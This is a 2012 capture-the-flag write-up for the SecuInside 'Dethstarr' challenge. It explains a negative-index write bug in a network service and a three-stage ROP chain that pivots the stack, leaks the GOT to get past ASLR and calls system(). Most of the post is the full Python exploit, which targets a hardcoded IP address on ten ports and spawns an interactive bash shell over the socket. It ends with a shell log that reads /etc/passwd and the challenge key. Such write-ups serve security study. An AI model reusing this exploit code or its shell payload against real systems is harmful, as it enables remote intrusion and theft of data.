11
Jun
2012

SecuInside 2012 – Dethstarr

Dethstarr is a remote exploitation level where you first have to reverse engineer a protocol to get to the good parts.

The server program is an inetd-style program which has a socket as stdin/stdout. The main() calls a bunch of different functions which receive a blob of data from the socket and perform a *lot* of checks on it. If any of these checks fails exit() is called.

The bug is that a user-supplied array offset is not checked for negative values before writing a user-controlled value. This yields a nearly-arbitrary write primitive which can be called four times.

(At first it looked like there was also a simple stack overflow, since read() is called on a stack buffer with user-supplied length which can be negative. The libc and/or kernel of this server does not like very large size arguments to read() though, and just exits πŸ™ )

Unfortunately, the on-stack buffers are quite small which makes it a lot harder to find an appropriate gadget to turn the arbitrary write into ROP stack execution.

In the end we used ebp control in combination with a “mov esp, ebp; pop ebp; ret” gadget to pivot the stack. As an added bonus this gadget contains a read() on the socket with the buffer and length arguments loaded relative to ebp, so the pivot gadget was also used to load the second stage ROP payload.

This second stage dumps the GOT to find the offset of libc, since the machine has aslr enabled (though we could have bruteforced it, it was not much more work to do it cleanly at this point). Since the address of read() we found always ended in …c90 and this matched with the libc from one of the other game boxes we had a shell on we assumed the libc was the same as on the other box, which allowed easy calculation of the address of system() from the leaked GOT pointers.

This is then used to construct a third-stage ROP payload which is read into the correct place by the second stage payload. The third-stage payload then finally spawns a shell.

The full exploit follows. The various blobs are annotated with the address of the function that receives them and checks their contents.

from struct import pack,unpack
from time import sleep
import sys
import socket 

# util funcs
def dwords(*s): return pack("I"*len(s), *s)
def rop(*s): return dwords(*reversed(s)) # read ROP stacks vertically, high addresses at the top
def out(d): s.send(d)

# gadgets
write = 0x80483c4
read = 0x80483f4
pop_3_ret = 0x80495b6
pop_11_ret = 0x80495b2
exit = 0x8048444

ports = (8080,8181,8282,8383,8484,8585,8686,8787,8888,8989)
for port in ports:
	#what = ('localhost',4444)
	what = ('61.42.25.25',port)

	print "[i] connecting to %s:%d" % what
	try:	
		s = socket.create_connection(what, 2)
	except:
		continue

	print "[+] connected"

	# read by function at 0x804928D
	out(dwords(202,0,1,0xac,0x9a,0,0,0x10001,0x54534e49,4))
	out("AAAA")

	# read by 4 calls to function at 0x8048DD9, with *0x804A8B8 = 1,3,4,5
	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 1, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))
	out("A" * 30 + "\x00")
	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 3, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))
	out("A" * 30 + "\x00")
	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 4, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))
	out("A" * 30 + "\x00")
	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 5, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))
	out("A" * 30 + "\x00")

	# read by 3 calls to function at 0x8048B13, with *0x804A8B8 = 1,0,2
	out(dwords((26 << 16) | 203, (2 << 16) | 219, 25, 6, 1, 202, -858993460 & 0xffffffff, 1, 4))
	out("A" * 4)
	out(dwords((26 << 16) | 203, (2 << 16) | 219, 25, 6, 1, 202, -858993460 & 0xffffffff, 0, 4))
	out("A" * 4)
	out(dwords((26 << 16) | 203, (2 << 16) | 219, 25, 6, 1, 202, -858993460 & 0xffffffff, 2, 4))
	out("A" * 4)

	# read by 4 calls to function at 0x804882B, with *0x804A8B8 = 3,0,0,2

	# this function contains a signedness check error, which allows writing an arbitrary dword at an offset
	# in the range [INT_MIN .. 31] * 4 from address 0x804a8e0.

	# strlen@got = pop_11_ret (trigger for first-stage rop later)
	out(dwords(pop_11_ret, 0, -68 & 0xffffffff, -68& 0xffffffff, 4, 4, 1, 65535, -65536 & 0xffffffff, 4, (225 << 16) | 82, 3, 4))
	out("AAAA")
	# stage 1 rop (ebp=0x804a8e0) args: *(ebp-10) = 0x804a890 (fake buffer)
	out(dwords(0x804a890, 0, -4& 0xffffffff, -4& 0xffffffff, 4, 4, 1, 65535, -65536 & 0xffffffff, 4, (225 << 16) | 82, 0, 4))
	out("AAAA")
	# stage 1 rop (ebp=0x804a8e0) args: *(*(ebp-10)+0x30) = 0x400 (length field for read() in fake buffer)
	out(dwords(0x400, 0, -8 & 0xffffffff, -8 & 0xffffffff, 4, 4, 1, 65535, -65536 & 0xffffffff, 4, (225 << 16) | 82, 0, 4))
	out("AAAA")
	# unused dummy write
	out(dwords(1, 0, 1, 1, 4, 4, 1, 65535, -65536 & 0xffffffff, 4, (225 << 16) | 82, 2, 4))
	out("AAAA")

	# read the program output, so as not to interfere with the ROP payload
	q = ''
	s.settimeout(5)
	while True:
		try:
			t = s.recv(1024)
		except:
			break
		#print repr(t)
		print "[+] recv %d bytes" % len(t)
		if not t: break	
		q += t
		if len(q) == 788: break

	print "[+] read a total of %d bytes of output before start of ROP" % len(q)

	# read by 4 calls to function at 0x8048DD9 with *0x804A8B8 = 5,4,3,1
	# (the ROP payload is triggered during the first call, the last three are never executed)
	
	# this is where the ROP payload is read & triggered.
	# the "31" indicates 31 bytes of data will follow, which is the maximum.
	# with the pop_11_ret gadget this gives only three and a half dword to actually ROP with.
	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 5, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))

	# the pop_11_ret gadget which is called in place of strlen will pop the following stuff from our buffer:
	# ebx, esi, edi, ebp, eip
	# use this to set ebp to 0x804a8e0 and return to 0x8048a48, which does:
	# read(0, ebp-0x31, *(*(ebp-0x10) + 0x30)); mov esp, ebp; pop ebp; ret
	# the length argument will resolve to 0x400 thanks to the two arbitrary writes above
	out("A" + dwords(0xdeadbeef, 0xdeadbeef, 0xdeadbeef, 0x804a8e0, 0x8048a48, 0xdeadbeef, 0xdeadbeef) + "AA")

	print "[+] first stage ROP payload sent"

	# second-stage rop. at entry, esp points to 0x804a8e0 + 4 and ebp was loaded from 0x804a8e0. 
	# this ROP payload sends the GOT to the client as an ASLR offset leak, and receives the third stage ROP payload.

	x = rop(
		0x100,
		0x804a8e0 + 4 + 5*4 + 5*4, # directly after this ROP stack
		1,
		pop_3_ret,
		read,
		0x100,
		0x804a7b0, # GOT
		1,
		pop_3_ret,
		write, 
	)

	# 0x31 A's to get to 0x804a8e0, then BBBB which will end up in ebp and then the second-stage ROP stack.
	out("A"*0x31 + "BBBB" + x)

	print "[+] second stage ROP sent"

	got = s.recv(1024)
	
	print "[+] read %d bytes of GOT data" % len(got)
	
	addr_of_read = unpack('I',got[24:24+4])[0]

	delta = 603872
	#delta = (0xda130 - 0x3d170) # localhost test

	addr_of_system = addr_of_read - delta

	print "[i] assuming delta (read - system) = %d" % delta
	print "[+] read = %#0x" % addr_of_read
	print "[+] system = %#0x" % addr_of_system

	x = rop(
		0x804a8e0 + 4 + 5*4 + 5*4 + 3*4, # directly after this ROP stack
		exit, 
		addr_of_system
	)

	print "[+] third stage ROP sent, spawning shell"
	print

	# this is the last ROP stage, so just put the argument string directly behind it
	out(x + "/bin/bash -p -i 2>&1\0")

	# ensure what follows is received seperately from the ROP data
	sleep(1)
	
	out("id\n")

	# connect stdio to socket until either EOF's. use low-level calls to bypass stdin buffering.
	# also change the tty to character mode so we can have line editing and tab completion.
	import termios, tty, select, os
	old_settings = termios.tcgetattr(0)
	try:
		tty.setcbreak(0)
		c = True
		while c:
			for i in select.select([0, s.fileno()], [], [], 0)[0]:
				c = os.read(i, 1024)
				if not c: break
				os.write({0:s.fileno(),s.fileno():1}[i], c)
	except KeyboardInterrupt: pass
	finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

	# don't send the data for the last three calls to the function at 0x8048DD9,
	# the ROP payload took control so they were never executed
	break

	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 4, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))
	out("B" * 30 + "\x00")
	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 3, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))
	out("B" * 30 + "\x00")
	out(dwords(8, 1, 1, 0xDFE1ABCC-1, 1, 1, 255, 0xffffffff, 102, 0x756c, 255, 96, 1, 2147483647, 0x9c, 31))
	out("B" * 30 + "\x00")

And to show it works:

user@box:~$ python deth2.py 
[i] connecting to 61.42.25.25:8080
[+] connected
[+] recv 168 bytes
[+] recv 68 bytes
[+] recv 552 bytes
[+] read a total of 788 bytes of output before start of ROP
[+] first stage ROP payload sent
[+] second stage ROP sent
[+] read 256 bytes of GOT data
[i] assuming delta (read - system) = 603872
[+] read = 0x5b5c90
[+] system = 0x5225b0
[+] third stage ROP sent, spawning shell

bash: no job control in this shell
bash-4.1$ id
uid=500(dethstarr) gid=500(dethstarr) groups=500(dethstarr)
bash-4.1$ ls -al
total 106
dr-xr-xr-x.  21 root root  4096 Jun  8 04:49 .
dr-xr-xr-x.  21 root root  4096 Jun  8 04:49 ..
-rw-r--r--    1 root root     0 Jun  8 04:49 .autofsck
-rw-r--r--    1 root root     0 Jun  8 04:49 .autorelabel
dr-xr-xr-x.   2 root root  4096 Dec 15 23:49 bin
dr-xr-xr-x.   5 root root  1024 Jan 16 16:07 boot
drwxr-xr-x   19 root root  3720 Jun  8 04:49 dev
drwxr-xr-x. 100 root root 12288 Jun  9 16:28 etc
drwxr-xr-x.   3 root root  4096 Jun  8 04:16 home
dr-xr-xr-x.  18 root root 12288 Dec 15 23:44 lib
drwx------.   2 root root 16384 Dec 15 23:34 lost+found
drwxr-xr-x.   2 root root  4096 Sep 23  2011 media
drwxr-xr-x.   3 root root  4096 Jan 16 16:07 mnt
drwxr-xr-x.   2 root root  4096 Sep 23  2011 opt
dr-xr-xr-x  100 root root     0 Jun  8 04:49 proc
dr-xr-x---.   2 root root  4096 Jun 10 06:19 root
dr-xr-xr-x.   2 root root 12288 Dec 15 23:49 sbin
drwxr-xr-x.   3 root root  4096 Dec 15 23:52 selinux
drwxr-xr-x.   2 root root  4096 Sep 23  2011 srv
drwxr-xr-x   13 root root     0 Jun  8 04:49 sys
drwxrwxrwt.   4 root root  4096 Jun 10 15:01 tmp
drwxr-xr-x.  12 root root  4096 Dec 15 23:35 usr
drwxr-xr-x.  21 root root  4096 Dec 15 23:49 var
bash-4.1$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
pulse:x:498:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
saslauth:x:497:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dethstarr:x:500:500::/home/dethstarr:/bin/bash
bash-4.1$ find /home
/home
/home/dethstarr
/home/dethstarr/key
bash-4.1$ cat /home/dethstarr/key
397d179d920423eafcb923cfe14ebb75
bash-4.1$ exit
exit

Comments are closed.